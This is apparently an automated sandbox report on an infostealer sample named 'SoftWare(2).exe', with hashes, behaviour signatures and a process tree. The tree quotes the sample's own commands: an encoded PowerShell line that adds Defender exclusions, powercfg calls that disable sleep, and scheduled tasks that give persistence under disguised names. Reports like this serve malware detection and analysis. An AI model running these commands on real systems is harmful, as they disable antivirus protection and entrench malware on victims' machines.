Resubmissions

10-02-2025 02:06

250210-cjg3laykgq 10

10-02-2025 02:04

250210-chg17syrby 10

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-02-2025 02:06

General

  • Target

    SoftWare(2).exe

  • Size

    895KB

  • MD5

    a16e394f67d91eadb2f3b63feae0f6e6

  • SHA1

    37576b86112a7ba68d673483d752d92b53c3314d

  • SHA256

    63226615cf004ff25050875bd27eed6bcd095e9ada2c4e428496eab1fd2a5f2c

  • SHA512

    cb9d4b5a3ed1792c0bb1e1b69894e432bcd5df6234affb56d0c80ef4dd3bf06936982f3b80d99758dac910ccd5d5144b1d3d2ff9b450d24b3a827693290e5508

  • SSDEEP

    12288:Mx8+cf8nEU/ofJlKeNi16QksdziFwV++cf8nEU/ofJlKeNi16QksdziFwVTJ:w8Y/ofJlPG6XQ+Y/ofJlPG6XQTJ

Malware Config

Signatures

  • Downloads MZ/PE file 3 IoCs
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 6 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SoftWare(2).exe
    "C:\Users\Admin\AppData\Local\Temp\SoftWare(2).exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:748
    • C:\Users\Admin\AppData\Local\Temp\SoftWare(2).exe
      "C:\Users\Admin\AppData\Local\Temp\SoftWare(2).exe"
      2⤵
      • Downloads MZ/PE file
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4056
      • C:\Users\Admin\AppData\Local\Temp\IVS73JE7XDU5IPKZ.exe
        "C:\Users\Admin\AppData\Local\Temp\IVS73JE7XDU5IPKZ.exe"
        3⤵
        • Downloads MZ/PE file
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /C powershell -EncodedCommand "PAAjADMAQgBvAHgASwBZACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeABvAEoAQwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAGoARQBXAEcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBjAEgAcAAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
          4⤵
          • Power Settings
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3352
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "PAAjADMAQgBvAHgASwBZACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeABvAEoAQwAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBwAGoARQBXAEcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAbQBjAEgAcAAjAD4A"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3936
          • C:\Windows\SysWOW64\powercfg.exe
            powercfg /x -hibernate-timeout-ac 0
            5⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:3012
          • C:\Windows\SysWOW64\powercfg.exe
            powercfg /x -hibernate-timeout-dc 0
            5⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:432
          • C:\Windows\SysWOW64\powercfg.exe
            powercfg /x -standby-timeout-ac 0
            5⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1396
          • C:\Windows\SysWOW64\powercfg.exe
            powercfg /x -standby-timeout-dc 0
            5⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:5072
          • C:\Windows\SysWOW64\powercfg.exe
            powercfg /hibernate off
            5⤵
            • Power Settings
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:3980
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4044
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1884
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6725" /TR "C:\ProgramData\Dllhost\dllhost.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1648
          • C:\Windows\SysWOW64\schtasks.exe
            SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk6725" /TR "C:\ProgramData\Dllhost\dllhost.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:3684
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 748 -s 824
      2⤵
      • Program crash
      PID:2072
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 748 -ip 748
    1⤵
      PID:2036
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7OTJDRDEwNjYtQjZFRS00MjA5LTlBMzEtNjg4RTM5QjIxMEM3fSIgdXNlcmlkPSJ7QkM1QjMzRDYtRUZBNS00ODMyLUEzRTQtNThDRjdDMDdCMUU2fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NzIwMTJCRTItNTJDMS00QzQzLUEyQjktMkMwNjVCRDIzQTg2fSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIyIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDQ5MjgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxNzQzMjM4OTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1Mjg5OTAxNTY0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
      1⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:4564

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\IVS73JE7XDU5IPKZ.exe

      Filesize

      21KB

      MD5

      c11a82d699a06d9b8ba4296e0c562ae4

      SHA1

      e91963fe8def3ed151333a6a66d005237600ba30

      SHA256

      483b1d7dac70de82e9b22a0c1ed775cf7e10b0a3790c5aa1b9215dbcd1754302

      SHA512

      cc8644279ea2cebf70f594f6cc48d6ebbc10d036b7dcf1008fc05565da85cc36f7e8af7faa49b7c117c9a6ac94d7c007a99b53ec1dd668a7f8c28dc25b410a54

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ilvg1opq.lh4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/748-8-0x00000000739A0000-0x0000000074150000-memory.dmp

      Filesize

      7.7MB

    • memory/748-1-0x0000000000510000-0x00000000005F4000-memory.dmp

      Filesize

      912KB

    • memory/748-2-0x00000000739A0000-0x0000000074150000-memory.dmp

      Filesize

      7.7MB

    • memory/748-3-0x0000000005870000-0x0000000005E14000-memory.dmp

      Filesize

      5.6MB

    • memory/748-0-0x00000000739AE000-0x00000000739AF000-memory.dmp

      Filesize

      4KB

    • memory/2988-74-0x0000000073390000-0x0000000073B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2988-68-0x000000007339E000-0x000000007339F000-memory.dmp

      Filesize

      4KB

    • memory/2988-69-0x0000000073390000-0x0000000073B40000-memory.dmp

      Filesize

      7.7MB

    • memory/2988-26-0x0000000002C30000-0x0000000002C3A000-memory.dmp

      Filesize

      40KB

    • memory/2988-27-0x00000000053E0000-0x0000000005446000-memory.dmp

      Filesize

      408KB

    • memory/2988-22-0x000000007339E000-0x000000007339F000-memory.dmp

      Filesize

      4KB

    • memory/2988-23-0x00000000008F0000-0x00000000008FC000-memory.dmp

      Filesize

      48KB

    • memory/2988-24-0x00000000051E0000-0x0000000005272000-memory.dmp

      Filesize

      584KB

    • memory/2988-25-0x0000000073390000-0x0000000073B40000-memory.dmp

      Filesize

      7.7MB

    • memory/3936-57-0x0000000007990000-0x000000000800A000-memory.dmp

      Filesize

      6.5MB

    • memory/3936-56-0x0000000007210000-0x00000000072B3000-memory.dmp

      Filesize

      652KB

    • memory/3936-28-0x0000000002A00000-0x0000000002A36000-memory.dmp

      Filesize

      216KB

    • memory/3936-29-0x00000000052D0000-0x00000000058F8000-memory.dmp

      Filesize

      6.2MB

    • memory/3936-30-0x00000000050E0000-0x0000000005102000-memory.dmp

      Filesize

      136KB

    • memory/3936-31-0x0000000005250000-0x00000000052B6000-memory.dmp

      Filesize

      408KB

    • memory/3936-65-0x00000000075C0000-0x00000000075C8000-memory.dmp

      Filesize

      32KB

    • memory/3936-41-0x00000000059E0000-0x0000000005D34000-memory.dmp

      Filesize

      3.3MB

    • memory/3936-42-0x0000000006020000-0x000000000603E000-memory.dmp

      Filesize

      120KB

    • memory/3936-43-0x0000000006040000-0x000000000608C000-memory.dmp

      Filesize

      304KB

    • memory/3936-44-0x00000000065E0000-0x0000000006612000-memory.dmp

      Filesize

      200KB

    • memory/3936-45-0x000000006F3C0000-0x000000006F40C000-memory.dmp

      Filesize

      304KB

    • memory/3936-55-0x0000000006640000-0x000000000665E000-memory.dmp

      Filesize

      120KB

    • memory/3936-64-0x0000000007670000-0x000000000768A000-memory.dmp

      Filesize

      104KB

    • memory/3936-63-0x0000000007590000-0x00000000075A4000-memory.dmp

      Filesize

      80KB

    • memory/3936-58-0x0000000007340000-0x000000000735A000-memory.dmp

      Filesize

      104KB

    • memory/3936-59-0x00000000073C0000-0x00000000073CA000-memory.dmp

      Filesize

      40KB

    • memory/3936-60-0x00000000075D0000-0x0000000007666000-memory.dmp

      Filesize

      600KB

    • memory/3936-61-0x0000000007540000-0x0000000007551000-memory.dmp

      Filesize

      68KB

    • memory/3936-62-0x0000000007580000-0x000000000758E000-memory.dmp

      Filesize

      56KB

    • memory/4056-10-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB

    • memory/4056-16-0x0000000003770000-0x0000000003775000-memory.dmp

      Filesize

      20KB

    • memory/4056-17-0x0000000003770000-0x0000000003775000-memory.dmp

      Filesize

      20KB

    • memory/4056-9-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB

    • memory/4056-7-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB

    • memory/4056-5-0x0000000000400000-0x0000000000460000-memory.dmp

      Filesize

      384KB